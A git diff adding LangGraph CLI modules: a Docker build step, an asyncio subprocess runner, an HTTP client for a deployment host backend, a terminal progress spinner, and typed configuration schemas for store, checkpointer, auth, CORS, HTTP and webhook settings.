+    # build/install commands only apply to JS projects for now
+    # without install/build command, JS projects will follow the old behavior
+    if is_js_project and (build_command or install_command):
+        build_context = str(pathlib.Path.cwd())
+    else:
+        build_context = str(config.parent)
+
+    # Deep copy to avoid mutating the caller's config (config_to_docker
+    # rewrites graph paths to container-internal paths in place).
+    config_json = copy.deepcopy(config_json)
+    stdin, additional_contexts = langgraph_cli.config.config_to_docker(
+        config_path=config,
+        config=config_json,
+        base_image=base_image,
+        api_version=api_version,
+        install_command=install_command,
+        build_command=build_command,
+        build_context=build_context,
+    )
+    # add additional_contexts
+    if additional_contexts:
+        for k, v in additional_contexts.items():
+            args.extend(["--build-context", f"{k}={v}"])
+    cmd = tuple(docker_command) if docker_command else ("docker", "build")
+    runner.run(
+        subp_exec(
+            *cmd,
+            *args,
+            *extra_flags,
+            *passthrough,
+            build_context,
+            input=stdin,
+            verbose=verbose,
+        )
+    )
diff --git a/libs/cli/langgraph_cli/exec.py b/libs/cli/langgraph_cli/exec.py
new file mode 100644
index 0000000..974fc75
--- /dev/null
+++ b/libs/cli/langgraph_cli/exec.py
@@ -0,0 +1,174 @@
+import asyncio
+import signal
+import sys
+from collections.abc import Callable
+from contextlib import contextmanager
+from typing import cast
+
+import click.exceptions
+
+
+@contextmanager
+def Runner():
+    if hasattr(asyncio, "Runner"):
+        with asyncio.Runner() as runner:
+            yield runner
+    else:
+
+        class _Runner:
+            def __enter__(self):
+                return self
+
+            def __exit__(self, *args):
+                pass
+
+            def run(self, coro):
+                return asyncio.run(coro)
+
+        yield _Runner()
+
+
+async def subp_exec(
+    cmd: str,
+    *args: str,
+    input: str | None = None,
+    wait: float | None = None,
+    verbose: bool = False,
+    collect: bool = False,
+    on_stdout: Callable[[str], bool | None] | None = None,
+) -> tuple[str | None, str | None]:
+    if verbose:
+        cmd_str = f"+ {cmd} {' '.join(map(str, args))}"
+        if input:
+            print(cmd_str, " <\n", "\n".join(filter(None, input.splitlines())), sep="")
+        else:
+            print(cmd_str)
+    if wait:
+        await asyncio.sleep(wait)
+
+    try:
+        proc = await asyncio.create_subprocess_exec(
+            cmd,
+            *args,
+            stdin=asyncio.subprocess.PIPE if input else None,
+            stdout=asyncio.subprocess.PIPE,
+            stderr=asyncio.subprocess.PIPE,
+        )
+
+        def signal_handler():
+            # make sure process exists, then terminate it
+            if proc.returncode is None:
+                proc.terminate()
+
+        original_sigint_handler = signal.getsignal(signal.SIGINT)
+        if sys.platform == "win32":
+
+            def handle_windows_signal(signum, frame):
+                signal_handler()
+                original_sigint_handler(signum, frame)
+
+            signal.signal(signal.SIGINT, handle_windows_signal)
+            # NOTE: we're not adding a handler for SIGTERM since it's ignored on Windows
+        else:
+            loop = asyncio.get_event_loop()
+            loop.add_signal_handler(signal.SIGINT, signal_handler)
+            loop.add_signal_handler(signal.SIGTERM, signal_handler)
+
+        empty_fut: asyncio.Future = asyncio.Future()
+        empty_fut.set_result(None)
+        stdout, stderr, _ = await asyncio.gather(
+            monitor_stream(
+                cast(asyncio.StreamReader, proc.stdout),
+                collect=True,
+                display=verbose,
+                on_line=on_stdout,
+            ),
+            monitor_stream(
+                cast(asyncio.StreamReader, proc.stderr),
+                collect=True,
+                display=verbose,
+            ),
+            proc._feed_stdin(input.encode()) if input else empty_fut,  # type: ignore[attr-defined]
+        )
+        returncode = await proc.wait()
+        if (
+            returncode is not None
+            and returncode != 0  # success
+            and returncode != 130  # user interrupt
+        ):
+            sys.stdout.write(stdout.decode() if stdout else "")
+            sys.stderr.write(stderr.decode() if stderr else "")
+            raise click.exceptions.Exit(returncode)
+        if collect:
+            return (
+                stdout.decode() if stdout else None,
+                stderr.decode() if stderr else None,
+            )
+        else:
+            return None, None
+    finally:
+        try:
+            if proc.returncode is None:
+                try:
+                    proc.terminate()
+                except (ProcessLookupError, KeyboardInterrupt):
+                    pass
+
+            if sys.platform == "win32":
+                signal.signal(signal.SIGINT, original_sigint_handler)
+            else:
+                loop.remove_signal_handler(signal.SIGINT)
+                loop.remove_signal_handler(signal.SIGTERM)
+        except UnboundLocalError:
+            pass
+
+
+async def monitor_stream(
+    stream: asyncio.StreamReader,
+    collect: bool = False,
+    display: bool = False,
+    on_line: Callable[[str], bool | None] | None = None,
+) -> bytearray | None:
+    if collect:
+        ba = bytearray()
+
+    def handle(line: bytes, overrun: bool):
+        nonlocal on_line
+        nonlocal display
+
+        if display:
+            sys.stdout.buffer.write(line)
+        if overrun:
+            return
+        if collect:
+            ba.extend(line)
+        if on_line:
+            if on_line(line.decode()):
+                on_line = None
+                display = True
+
+    """Adapted from asyncio.StreamReader.readline() to handle LimitOverrunError."""
+    sep = b"\n"
+    seplen = len(sep)
+    while True:
+        try:
+            line = await stream.readuntil(sep)
+            overrun = False
+        except asyncio.IncompleteReadError as e:
+            line = e.partial
+            overrun = False
+        except asyncio.LimitOverrunError as e:
+            if stream._buffer.startswith(sep, e.consumed):
+                line = stream._buffer[: e.consumed + seplen]
+            else:
+                line = stream._buffer.clear()
+            overrun = True
+            stream._maybe_resume_transport()
+        await asyncio.to_thread(handle, line, overrun)
+        if line == b"":
+            break
+
+    if collect:
+        return ba
+    else:
+        return None
diff --git a/libs/cli/langgraph_cli/host_backend.py b/libs/cli/langgraph_cli/host_backend.py
new file mode 100644
index 0000000..4ab6086
--- /dev/null
+++ b/libs/cli/langgraph_cli/host_backend.py
@@ -0,0 +1,205 @@
+"""HTTP client for LangGraph host backend deployments."""
+
+from __future__ import annotations
+
+from typing import Any
+
+import click
+import httpx
+
+
+class HostBackendError(click.ClickException):
+    """Raised when the host backend returns an error response."""
+
+    def __init__(self, message: str, status_code: int | None = None):
+        super().__init__(message)
+        self.status_code = status_code
+
+
+class HostBackendClient:
+    """Minimal JSON HTTP client for the host backend deployment service."""
+
+    def __init__(
+        self,
+        base_url: str,
+        api_key: str,
+        tenant_id: str | None = None,
+    ):
+        if not base_url:
+            raise click.UsageError("Host backend URL is required")
+        transport = httpx.HTTPTransport(retries=3)
+        headers: dict[str, str] = {
+            "X-Api-Key": api_key,
+            "Accept": "application/json",
+        }
+        if tenant_id:
+            headers["X-Tenant-ID"] = tenant_id
+        self._base_url = base_url.rstrip("/")
+        self._client = httpx.Client(
+            base_url=self._base_url,
+            headers=headers,
+            transport=transport,
+            timeout=30,
+        )
+
+    def _request(
+        self,
+        method: str,
+        path: str,
+        payload: dict[str, Any] | None = None,
+        params: dict[str, Any] | None = None,
+    ) -> Any:
+        try:
+            resp = self._client.request(method, path, json=payload, params=params)
+            resp.raise_for_status()
+        except httpx.HTTPStatusError as err:
+            detail = err.response.text or str(err.response.status_code)
+            raise HostBackendError(
+                f"{method} {path} failed with status {err.response.status_code}: {detail}",
+                status_code=err.response.status_code,
+            ) from None
+        except httpx.TransportError as err:
+            raise HostBackendError(str(err)) from None
+
+        if not resp.content:
+            return None
+        try:
+            return resp.json()
+        except ValueError as err:
+            raise HostBackendError(
+                f"Failed to decode response from {path}: {err}"
+            ) from None
+
+    def create_deployment(
+        self,
+        name: str,
+        deployment_type: str,
+        source: str,
+        config_path: str | None = None,
+        secrets: list[dict[str, str]] | None = None,
+    ) -> dict[str, Any]:
+        """Create a deployment."""
+        payload: dict[str, Any] = {
+            "name": name,
+            "source": source,
+            "source_config": {"deployment_type": deployment_type},
+            "source_revision_config": {},
+        }
+        if source == "internal_source" and config_path:
+            payload["source_revision_config"]["langgraph_config_path"] = config_path
+        if secrets is not None:
+            payload["secrets"] = secrets
+        return self._request("POST", "/v2/deployments", payload)
+
+    def list_deployments(self, name_contains: str = "") -> dict[str, Any]:
+        return self._request(
+            "GET",
+            "/v2/deployments",
+            params={"name_contains": name_contains},
+        )
+
+    def get_deployment(self, deployment_id: str) -> dict[str, Any]:
+        return self._request("GET", f"/v2/deployments/{deployment_id}")
+
+    def delete_deployment(self, deployment_id: str) -> None:
+        return self._request("DELETE", f"/v2/deployments/{deployment_id}")
+
+    def request_push_token(self, deployment_id: str) -> dict[str, Any]:
+        return self._request(
+            "POST",
+            f"/v2/deployments/{deployment_id}/push-token",
+        )
+
+    def request_upload_url(self, deployment_id: str) -> dict[str, Any]:
+        """Get a signed GCS URL for uploading the source tarball."""
+        return self._request(
+            "POST",
+            f"/v2/deployments/{deployment_id}/upload-url",
+        )
+
+    def update_deployment(
+        self,
+        deployment_id: str,
+        image_uri: str,
+        secrets: list[dict[str, str]] | None = None,
+        tracked_packages: list[str] | None = None,
+    ) -> dict[str, Any]:
+        payload: dict[str, Any] = {
+            "revision_source": "internal_docker",
+            "source_revision_config": {"image_uri": image_uri},
+        }
+        if tracked_packages:
+            payload["tracked_packages"] = tracked_packages
+        if secrets is not None:
+            payload["secrets"] = secrets
+        return self._request(
+            "PATCH",
+            f"/v2/deployments/{deployment_id}",
+            payload,
+        )
+
+    def update_deployment_internal_source(
+        self,
+        deployment_id: str,
+        source_tarball_path: str,
+        config_path: str,
+        secrets: list[dict[str, str]] | None = None,
+        install_command: str | None = None,
+        build_command: str | None = None,
+        tracked_packages: list[str] | None = None,
+    ) -> dict[str, Any]:
+        """Trigger a remote build revision with the uploaded tarball."""
+        payload: dict[str, Any] = {
+            "revision_source": "internal_source",
+            "source_revision_config": {
+                "source_tarball_path": source_tarball_path,
+                "langgraph_config_path": config_path,
+            },
+        }
+        if tracked_packages:
+            payload["tracked_packages"] = tracked_packages
+
+        source_config: dict[str, Any] = {}
+        if install_command is not None:
+            source_config["install_command"] = install_command
+        if build_command is not None:
+            source_config["build_command"] = build_command
+        if source_config:
+            payload["source_config"] = source_config
+
+        if secrets is not None:
+            payload["secrets"] = secrets
+        return self._request("PATCH", f"/v2/deployments/{deployment_id}", payload)
+
+    def list_revisions(self, deployment_id: str, limit: int = 1) -> dict[str, Any]:
+        return self._request(
+            "GET",
+            f"/v2/deployments/{deployment_id}/revisions?limit={limit}",
+        )
+
+    def get_revision(self, deployment_id: str, revision_id: str) -> dict[str, Any]:
+        return self._request(
+            "GET",
+            f"/v2/deployments/{deployment_id}/revisions/{revision_id}",
+        )
+
+    def get_build_logs(
+        self, project_id: str, revision_id: str, payload: dict[str, Any]
+    ) -> Any:
+        return self._request(
+            "POST",
+            f"/v1/projects/{project_id}/revisions/{revision_id}/build_logs",
+            payload,
+        )
+
+    def get_deploy_logs(
+        self,
+        project_id: str,
+        payload: dict[str, Any],
+        revision_id: str | None = None,
+    ) -> Any:
+        if revision_id:
+            path = f"/v1/projects/{project_id}/revisions/{revision_id}/deploy_logs"
+        else:
+            path = f"/v1/projects/{project_id}/deploy_logs"
+        return self._request("POST", path, payload)
diff --git a/libs/cli/langgraph_cli/progress.py b/libs/cli/langgraph_cli/progress.py
new file mode 100644
index 0000000..f0b60c1
--- /dev/null
+++ b/libs/cli/langgraph_cli/progress.py
@@ -0,0 +1,107 @@
+import sys
+import threading
+import time
+from collections.abc import Callable
+
+
+class Progress:
+    delay: float = 0.1
+
+    @staticmethod
+    def spinning_cursor():
+        while True:
+            yield from "|/-\\"
+
+    def __init__(self, *, message="", elapsed: bool = False, json_mode: bool = False):
+        self.message = message
+        self._base_message = message
+        self._show_elapsed = elapsed
+        self._json_mode = json_mode
+        # use this to make sure we don't kill thread when we set msg to ""
+        self._stop = threading.Event()
+        # signalled when the spinner has no text on screen
+        self._line_clear = threading.Event()
+        self._line_clear.set()
+        self.spinner_generator = self.spinning_cursor()
+
+    def spinner_iteration(self):
+        message = self.message
+        sys.stdout.write(next(self.spinner_generator) + " " + message)
+        sys.stdout.flush()
+        time.sleep(self.delay)
+        # clear the spinner and message
+        sys.stdout.write(
+            "\b" * (len(message) + 2)
+            + " " * (len(message) + 2)
+            + "\b" * (len(message) + 2)
+        )
+        sys.stdout.flush()
+
+    def _format_elapsed(self, seconds: float) -> str:
+        mins, secs = divmod(int(seconds), 60)
+        if mins:
+            return f"{self._base_message} ({mins}m {secs:02d}s)"
+        return f"{self._base_message} ({secs}s)"
+
+    def spinner_task(self):
+        start = time.monotonic()
+        while not self._stop.is_set():
+            if not self.message:
+                self._line_clear.set()
+                time.sleep(self.delay)
+                continue
+            if self._show_elapsed:
+                self.message = self._format_elapsed(time.monotonic() - start)
+            message = self.message
+            if not message:
+                self._line_clear.set()
+                continue
+            self._line_clear.clear()
+            sys.stdout.write(next(self.spinner_generator) + " " + message)
+            sys.stdout.flush()
+            time.sleep(self.delay)
+            # clear the spinner and message
+            sys.stdout.write(
+                "\b" * (len(message) + 2)
+                + " " * (len(message) + 2)
+                + "\b" * (len(message) + 2)
+            )
+            sys.stdout.flush()
+            self._line_clear.set()
+
+    def __enter__(self) -> Callable[[str], None]:
+        if self._json_mode:
+            return lambda message: None
+
+        if sys.stdout.isatty():
+            self.thread = threading.Thread(target=self.spinner_task)
+            self.thread.start()
+
+            def set_message(message):
+                self.message = message
+                self._base_message = message or self._base_message
+                if not message:
+                    self._line_clear.wait(timeout=0.5)
+
+            return set_message
+        else:
+
+            def set_message(message):
+                if message:
+                    sys.stderr.write(message + "\n")
+                    sys.stderr.flush()
+
+            return set_message
+
+    def __exit__(self, exception, value, tb):
+        if self._json_mode:
+            return
+        if sys.stdout.isatty():
+            self.message = ""
+            self._stop.set()
+            try:
+                self.thread.join()
+            finally:
+                del self.thread
+            if exception is not None:
+                return False
diff --git a/libs/cli/langgraph_cli/py.typed b/libs/cli/langgraph_cli/py.typed
new file mode 100644
index 0000000..e69de29
diff --git a/libs/cli/langgraph_cli/schemas.py b/libs/cli/langgraph_cli/schemas.py
new file mode 100644
index 0000000..5a00fc6
--- /dev/null
+++ b/libs/cli/langgraph_cli/schemas.py
@@ -0,0 +1,788 @@
+from typing import Any, Literal, TypedDict
+
+from typing_extensions import Required
+
+Distros = Literal["debian", "wolfi", "bookworm"]
+MiddlewareOrders = Literal["auth_first", "middleware_first"]
+
+
+class TTLConfig(TypedDict, total=False):
+    """Configuration for TTL (time-to-live) behavior in the store."""
+
+    refresh_on_read: bool
+    """Default behavior for refreshing TTLs on read operations (`GET` and `SEARCH`).
+
+    If `True`, TTLs will be refreshed on read operations (get/search) by default.
+    This can be overridden per-operation by explicitly setting `refresh_ttl`.
+    Defaults to `True` if not configured.
+    """
+    default_ttl: float | None
+    """Optional. Default TTL (time-to-live) in minutes for new items.
+
+    If provided, all new items will have this TTL unless explicitly overridden.
+    If omitted, items will have no TTL by default.
+    """
+    sweep_interval_minutes: int | None
+    """Optional. Interval in minutes between TTL sweep iterations.
+
+    If provided, the store will periodically delete expired items based on the TTL.
+    If omitted, no automatic sweeping will occur.
+    """
+
+
+class IndexConfig(TypedDict, total=False):
+    """Configuration for indexing documents for semantic search in the store.
+
+    This governs how text is converted into embeddings and stored for vector-based lookups.
+    """
+
+    dims: int
+    """Required. Dimensionality of the embedding vectors you will store.
+
+    Must match the output dimension of your selected embedding model or custom embed function.
+    If mismatched, you will likely encounter shape/size errors when inserting or querying vectors.
+
+    Common embedding model output dimensions:
+        - openai:text-embedding-3-large: 3072
+        - openai:text-embedding-3-small: 1536
+        - openai:text-embedding-ada-002: 1536
+        - cohere:embed-english-v3.0: 1024
+        - cohere:embed-english-light-v3.0: 384
+        - cohere:embed-multilingual-v3.0: 1024
+        - cohere:embed-multilingual-light-v3.0: 384
+    """
+
+    embed: str
+    """Required. Identifier or reference to the embedding model or a custom embedding function.
+
+    The format can vary:
+      - ":" for recognized providers (e.g., "openai:text-embedding-3-large")
+      - "path/to/module.py:function_name" for your own local embedding function
+      - "my_custom_embed" if it's a known alias in your system
+
+     Examples:
+        - "openai:text-embedding-3-large"
+        - "cohere:embed-multilingual-v3.0"
+        - "src/app.py:embeddings"
+
+    Note: Must return embeddings of dimension `dims`.
+    """
+
+    fields: list[str] | None
+    """Optional. List of JSON fields to extract before generating embeddings.
+
+    Defaults to ["$"], which means the entire JSON object is embedded as one piece of text.
+    If you provide multiple fields (e.g. ["title", "content"]), each is extracted and embedded separately,
+    often saving token usage if you only care about certain parts of the data.
+
+    Example:
+        fields=["title", "abstract", "author.biography"]
+    """
+
+
+class StoreConfig(TypedDict, total=False):
+    """Configuration for the built-in long-term memory store.
+
+    This store can optionally perform semantic search. If you omit `index`,
+    the store will just handle traditional (non-embedded) data without vector lookups.
+    """
+
+    index: IndexConfig | None
+    """Optional. Defines the vector-based semantic search configuration.
+
+    If provided, the store will:
+      - Generate embeddings according to `index.embed`
+      - Enforce the embedding dimension given by `index.dims`
+      - Embed only specified JSON fields (if any) from `index.fields`
+
+    If omitted, no vector index is initialized.
+    """
+
+    ttl: TTLConfig | None
+    """Optional. Defines the TTL (time-to-live) behavior configuration.
+
+    If provided, the store will apply TTL settings according to the configuration.
+    If omitted, no TTL behavior is configured.
+    """
+
+
+class ThreadTTLConfig(TypedDict, total=False):
+    """Configure a default TTL for checkpointed data within threads."""
+
+    strategy: Literal["delete", "keep_latest"]
+    """Action taken when a thread exceeds its TTL.
+
+    - "delete": Remove the thread and all its data entirely.
+    - "keep_latest": Prune old checkpoints but keep the thread and its latest state.
+    """
+    default_ttl: float | None
+    """Default TTL (time-to-live) in minutes for checkpointed data."""
+    sweep_interval_minutes: int | None
+    """Interval in minutes between sweep iterations.
+    If omitted, a default interval will be used (typically ~ 5 minutes)."""
+    sweep_limit: int | None
+    """Maximum number of threads to process per sweep iteration. Defaults to 1000."""
+
+
+class SerdeConfig(TypedDict, total=False):
+    """Configuration for the built-in serde, which handles checkpointing of state.
+
+    If omitted, no serde is set up (the object store will still be present, however)."""
+
+    allowed_json_modules: list[list[str]] | bool | None
+    """Optional. List of allowed python modules to de-serialize custom objects from JSON.
+
+    If provided, only the specified modules will be allowed to be deserialized.
+    If omitted, no modules are allowed, and the object returned will simply be a json object OR
+    a deserialized langchain object.
+
+    Example:
+    {...
+        "serde": {
+            "allowed_json_modules": [
+                ["my_agent", "my_file", "SomeType"],
+            ]
+        }
+    }
+
+    If you set this to True, any module will be allowed to be deserialized.
+
+    Example:
+    {...
+        "serde": {
+            "allowed_json_modules": True
+        }
+    }
+
+    """
+    allowed_msgpack_modules: list[list[str]] | bool | None
+    """Optional. List of allowed python modules to de-serialize custom objects from msgpack.
+
+    Known safe types (langgraph.checkpoint.serde.jsonplus.SAFE_MSGPACK_TYPES) are always
+    allowed regardless of this setting. Use this to allowlist your custom Pydantic models,
+    dataclasses, and other user-defined types.
+
+    If True (default), unregistered types will log a warning but still be deserialized.
+    If None, only known safe types will be deserialized; unregistered types will be blocked.
+
+    Example - allowlist specific types (no warnings for these):
+    {...
+        "serde": {
+            "allowed_msgpack_modules": [
+                ["my_agent.models", "MyState"],
+            ]
+        }
+    }
+
+    Example - strict mode (only safe types allowed):
+    {...
+        "serde": {
+            "allowed_msgpack_modules": null
+        }
+    }
+
+    """
+    pickle_fallback: bool
+    """Optional. Whether to allow pickling as a fallback for deserialization.
+
+    If True, pickling will be allowed as a fallback for deserialization.
+    If False, pickling will not be allowed as a fallback for deserialization.
+    Defaults to True if not configured."""
+
+
+class CheckpointerConfig(TypedDict, total=False):
+    """Configuration for the built-in checkpointer, which handles checkpointing of state.
+
+    If omitted, no checkpointer is set up (the object store will still be present, however).
+    """
+
+    path: str
+    """Import path to an async context manager that yields a `BaseCheckpointSaver`
+    instance.
+
+    The referenced object should be an `@asynccontextmanager`-decorated function
+    so that the server can properly manage the checkpointer's lifecycle (e.g.
+    opening and closing connections).
+
+    Examples:
+    - "./my_checkpointer.py:create_checkpointer"
+    - "my_package.checkpointer:create_checkpointer"
+
+    When provided, this replaces the default checkpointer.
+
+    You can use the `langgraph-checkpoint-conformance` package
+    (https://pypi.org/project/langgraph-checkpoint-conformance/) to run simple
+    conformance tests against your custom checkpointer and catch
+    incompatibilities early.
+    """
+
+    ttl: ThreadTTLConfig | None
+    """Optional. Defines the TTL (time-to-live) behavior configuration.
+
+    If provided, the checkpointer will apply TTL settings according to the configuration.
+    If omitted, no TTL behavior is configured.
+    """
+    serde: SerdeConfig | None
+    """Optional. Defines the serde configuration.
+
+    If provided, the checkpointer will apply serde settings according to the configuration.
+    If omitted, no serde behavior is configured.
+
+    This configuration requires server version 0.5 or later to take effect.
+    """
+
+
+class SecurityConfig(TypedDict, total=False):
+    """Configuration for OpenAPI security definitions and requirements.
+
+    Useful for specifying global or path-level authentication and authorization flows
+    (e.g., OAuth2, API key headers, etc.).
+    """
+
+    securitySchemes: dict[str, dict[str, Any]]
+    """Describe each security scheme recognized by your OpenAPI spec.
+
+    Keys are scheme names (e.g. "OAuth2", "ApiKeyAuth") and values are their definitions.
+    Example:
+        {
+            "OAuth2": {
+                "type": "oauth2",
+                "flows": {
+                    "password": {
+                        "tokenUrl": "/token",
+                        "scopes": {"read": "Read data", "write": "Write data"}
+                    }
+                }
+            }
+        }
+    """
+    security: list[dict[str, list[str]]]
+    """Global security requirements across all endpoints.
+
+    Each element in the list maps a security scheme (e.g. "OAuth2") to a list of scopes (e.g. ["read", "write"]).
+    Example:
+        [
+            {"OAuth2": ["read", "write"]},
+            {"ApiKeyAuth": []}
+        ]
+    """
+    # path => {method => security}
+    paths: dict[str, dict[str, list[dict[str, list[str]]]]]
+    """Path-specific security overrides.
+
+    Keys are path templates (e.g., "/items/{item_id}"), mapping to:
+      - Keys that are HTTP methods (e.g., "GET", "POST"),
+      - Values are lists of security definitions (just like `security`) for that method.
+
+    Example:
+        {
+            "/private_data": {
+                "GET": [{"OAuth2": ["read"]}],
+                "POST": [{"OAuth2": ["write"]}]
+            }
+        }
+    """
+
+
+class CacheConfig(TypedDict, total=False):
+    cache_keys: list[str]
+    """Optional. List of header keys to use for caching.
+
+    Example:
+        ["user_id", "workspace_id"]
+    """
+    ttl_seconds: int
+    """Optional. Time-to-live in seconds for cached items.
+
+    Example:
+        3600
+    """
+    max_size: int
+    """Optional. Maximum size of the cache.
+
+    Example:
+        100
+    """
+
+
+class AuthConfig(TypedDict, total=False):
+    """Configuration for custom authentication logic and how it integrates into the OpenAPI spec."""
+
+    path: str
+    """Required. Path to an instance of the Auth() class that implements custom authentication.
+
+    Format: "path/to/file.py:my_auth"
+    """
+    disable_studio_auth: bool
+    """Optional. Whether to disable LangSmith API-key authentication for requests originating the Studio.
+
+    Defaults to False, meaning that if a particular header is set, the server will verify the `x-api-key` header
+    value is a valid API key for the deployment's workspace. If `True`, all requests will go through your custom
+    authentication logic, regardless of origin of the request.
+    """
+    openapi: SecurityConfig
+    """The security configuration to include in your server's OpenAPI spec.
+
+    Example (OAuth2):
+        {
+            "securitySchemes": {
+                "OAuth2": {
+                    "type": "oauth2",
+                    "flows": {
+                        "password": {
+                            "tokenUrl": "/token",
+                            "scopes": {"me": "Read user info", "items": "Manage items"}
+                        }
+                    }
+                }
+            },
+            "security": [
+                {"OAuth2": ["me"]}
+            ]
+        }
+    """
+    cache: CacheConfig
+    """Optional. Cache configuration for the server.
+
+    Example:
+        {
+            "cache_keys": ["user_id", "workspace_id"],
+            "ttl_seconds": 3600,
+            "max_size": 100
+        }
+    """
+
+
+class EncryptionConfig(TypedDict, total=False):
+    """Configuration for custom at-rest encryption logic.
+
+    Allows you to implement custom encryption for sensitive data stored in the database,
+    including metadata fields and checkpoint blobs."""
+
+    path: str
+    """Required. Path to an instance of the Encryption() class that implements custom encryption handlers.
+
+    Format: "path/to/file.py:my_encryption"
+
+    Example:
+        {
+            "encryption": {
+                "path": "./encryption.py:my_encryption"
+            }
+        }
+    """
+
+
+class CorsConfig(TypedDict, total=False):
+    """Specifies Cross-Origin Resource Sharing (CORS) rules for your server.
+
+    If omitted, defaults are typically very restrictive (often no cross-origin requests).
+    Configure carefully if you want to allow usage from browsers hosted on other domains.
+    """
+
+    allow_origins: list[str]
+    """Optional. List of allowed origins (e.g., "https://example.com").
+
+    Default is often an empty list (no external origins).
+    Use "*" only if you trust all origins, as that bypasses most restrictions.
+    """
+    allow_methods: list[str]
+    """Optional. HTTP methods permitted for cross-origin requests (e.g. ["GET", "POST"]).
+
+    Default might be ["GET", "POST", "OPTIONS"] depending on your server framework.
+    """
+    allow_headers: list[str]
+    """Optional. HTTP headers that can be used in cross-origin requests (e.g. ["Content-Type", "Authorization"])."""
+    allow_credentials: bool
+    """Optional. If `True`, cross-origin requests can include credentials (cookies, auth headers).
+
+    Default False to avoid accidentally exposing secured endpoints to untrusted sites.
+    """
+    allow_origin_regex: str
+    """Optional. A regex pattern for matching allowed origins, used if you have dynamic subdomains.
+
+    Example: "^https://.*\\.mycompany\\.com$"
+    """
+    expose_headers: list[str]
+    """Optional. List of headers that browsers are allowed to read from the response in cross-origin contexts."""
+    max_age: int
+    """Optional. How many seconds the browser may cache preflight responses.
+
+    Default might be 600 (10 minutes). Larger values reduce preflight requests but can cause stale configurations.
+    """
+
+
+class ConfigurableHeaderConfig(TypedDict, total=False):
+    """Customize which headers to include as configurable values in your runs.
+
+    By default, omits x-api-key, x-tenant-id, and x-service-key.
+
+    Exclusions (if provided) take precedence.
+
+    Each value can be a raw string with an optional wildcard.
+    """
+
+    includes: list[str] | None
+    """Headers to include (if not also matched against an 'excludes' pattern).
+
+    Examples:
+        - 'user-agent'
+        - 'x-configurable-*'
+    """
+    excludes: list[str] | None
+    """Headers to exclude. Applied before the 'includes' checks.
+
+    Examples:
+        - 'x-api-key'
+        - '*key*'
+        - '*token*'
+    """
+
+
+class HttpConfig(TypedDict, total=False):
+    """Configuration for the built-in HTTP server that powers your deployment's routes and endpoints."""
+
+    app: str
+    """Optional. Import path to a custom Starlette/FastAPI application to mount.
+
+    Format: "path/to/module.py:app_var"
+    If provided, it can override or extend the default routes.
+    """
+    disable_assistants: bool
+    """Optional. If `True`, /assistants routes are removed from the server.
+
+    Default is False (meaning /assistants is enabled).
+    """
+    disable_threads: bool
+    """Optional. If `True`, /threads routes are removed.
+
+    Default is False.
+    """
+    disable_runs: bool
+    """Optional. If `True`, /runs routes are removed.
+
+    Default is False.
+    """
+    disable_store: bool
+    """Optional. If `True`, /store routes are removed, disabling direct store interactions via HTTP.
+
+    Default is False.
+    """
+    disable_mcp: bool
+    """Optional. If `True`, /mcp routes are removed, disabling default support to expose the deployment as an MCP server.
+
+    Default is False.
+    """
+    disable_a2a: bool
+    """Optional. If `True`, /a2a routes are removed, disabling default support to expose the deployment as an agent-to-agent (A2A) server.
+
+    Default is False.
+    """
+    disable_meta: bool
+    """Optional. Remove meta endpoints.
+
+    Set to True to disable the following endpoints: /openapi.json, /info, /metrics, /docs.
+    This will also make the /ok endpoint skip any DB or other checks, always returning {"ok": True}.
+
+    Default is False.
+    """
+    disable_ui: bool
+    """Optional. If `True`, /ui routes are removed, disabling the UI server.
+
+    Default is False.
+    """
+    disable_webhooks: bool
+    """Optional. If `True`, webhooks are disabled. Runs created with an associated webhook will
+    still be executed, but the webhook event will not be sent.
+
+    Default is False.
+    """
+    cors: CorsConfig | None
+    """Optional. Defines CORS restrictions. If omitted, no special rules are set and
+    cross-origin behavior depends on default server settings.
+    """
+    configurable_headers: ConfigurableHeaderConfig | None
+    """Optional. Defines how headers are treated for a run's configuration.
+
+    You can include or exclude headers as configurable values to condition your
+    agent's behavior or permissions on a request's headers."""
+    logging_headers: ConfigurableHeaderConfig | None
+    """Optional. Defines which headers are excluded from logging."""
+    middleware_order: MiddlewareOrders | None
+    """Optional. Defines the order in which to apply server customizations.
+
+    Choices:
+      - "auth_first": Authentication hooks (custom or default) are evaluated
+      before custom middleware.
+      - "middleware_first": Custom middleware is evaluated
+      before authentication hooks (custom or default).
+
+    Default is `middleware_first`.
+    """
+    enable_custom_route_auth: bool
+    """Optional. If `True`, authentication is enabled for custom routes,
+    not just the routes that are protected by default.
+    (Routes protected by default include /assistants, /threads, and /runs).
+
+    Default is False. This flag only affects authentication behavior
+    if `app` is provided and contains custom routes.
+    """
+    mount_prefix: str
+    """Optional. URL prefix to prepend to all the routes.
+
+    Example:
+        "/api"
+    """
+
+
+class WebhookUrlPolicy(TypedDict, total=False):
+    require_https: bool
+    """Enforce HTTPS scheme for absolute URLs; reject `http://` when true."""
+    allowed_domains: list[str]
+    """Hostname allowlist. Supports exact hosts and wildcard subdomains.
+
+    Use entries like "hooks.example.com" or "*.mycorp.com". The wildcard only
+    matches subdomains ("foo.mycorp.com"), not the apex ("mycorp.com"). When
+    empty or omitted, any public host is allowed (subject to SSRF IP checks).
+    """
+    allowed_ports: list[int]
+    """Explicit port allowlist for absolute URLs.
+
+    If set, requests must use one of these ports. Defaults are respected when
+    a port is not present in the URL (443 for https, 80 for http).
+    """
+    max_url_length: int
+    """Maximum permitted URL length in characters; longer inputs are rejected early."""
+    disable_loopback: bool
+    """Disallow relative URLs (internal loopback calls) when true."""
+
+
+class GraphDef(TypedDict, total=False):
+    """Definition of a graph with additional metadata."""
+
+    path: str
+    """Required. Import path to the graph object.
+
+    Format: "path/to/file.py:object_name"
+    """
+    description: str | None
+    """Optional. A description of the graph's purpose and functionality.
+
+    This description is surfaced in the API and can help users understand what the graph does.
+    """
+
+
+class WebhooksConfig(TypedDict, total=False):
+    env_prefix: str
+    """Required prefix for environment variables referenced in header templates.
+
+    Acts as an allowlist boundary to prevent leaking arbitrary environment
+    variables. Defaults to "LG_WEBHOOK_" when omitted.
+    """
+    url: WebhookUrlPolicy
+    """URL validation policy for user-supplied webhook endpoints."""
+    headers: dict[str, str]
+    """Static headers to include with webhook requests.
+
+    Values may contain templates of the form "${{ env.VAR }}". On startup, these
+    are resolved via the process environment after verifying `VAR` starts with
+    `env_prefix`. Mixed literals and multiple templates are allowed.
+    """
+
+
+class UvSource(TypedDict, total=False):
+    """Deployment source rooted at a uv project or workspace."""
+
+    kind: Required[Literal["uv"]]
+    """Discriminator for uv-backed deployment mode."""
+
+    root: str
+    """Relative path from langgraph.json to the authoritative uv project root.
+
+    The resolved directory must contain `pyproject.toml` and `uv.lock`. If the
+    root is a workspace, package discovery happens within this root.
